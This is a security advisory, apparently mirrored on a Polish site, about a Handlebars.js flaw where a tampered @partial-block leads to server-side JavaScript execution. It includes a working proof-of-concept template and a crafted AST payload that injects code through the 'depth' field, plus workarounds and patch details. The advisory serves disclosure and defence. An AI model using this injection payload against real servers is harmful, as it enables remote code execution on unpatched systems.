Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block
Summary
The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.
Description
Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.
When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.
The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.
Proof of Concept
Tested with Handlebars 4.7.8 and handlebars-helpers:
const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);
const vulnerableTemplate = `
{{#*inline "myPartial"}}
{{>@partial-block}}
{{>@partial-block}}
{{/inline}}
{{#>myPartial}}
{{merge @_parent partial-block=1}}
{{merge @_parent partial-block=payload}}
{{/myPartial}}
`;
const maliciousContext = {
payload: {
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Code injected via depth field — breaks out of generated function call
depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-blockWorkarounds
- Use the runtime-only build (
require('handlebars/runtime')). Thecompile()method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
- Avoid registering helpers from third-party packages (such as
handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
Czego dotyczy
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| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | handlebars | >= 4.0.0, < 4.7.9 | 4.7.9 |
Odnośniki
- https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r
- https://nvd.nist.gov/vuln/detail/CVE-2026-33938
- https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2
- https://github.com/handlebars-lang/handlebars.js
- https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H- Słabość (CWE)
CWE-843, CWE-94- Platforma
- npm
- Paczka
handlebars- Ujawniono
- 27.03.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-3mfm-83xf-c92r - CC BY 4.0
Historia podatności: handlebars
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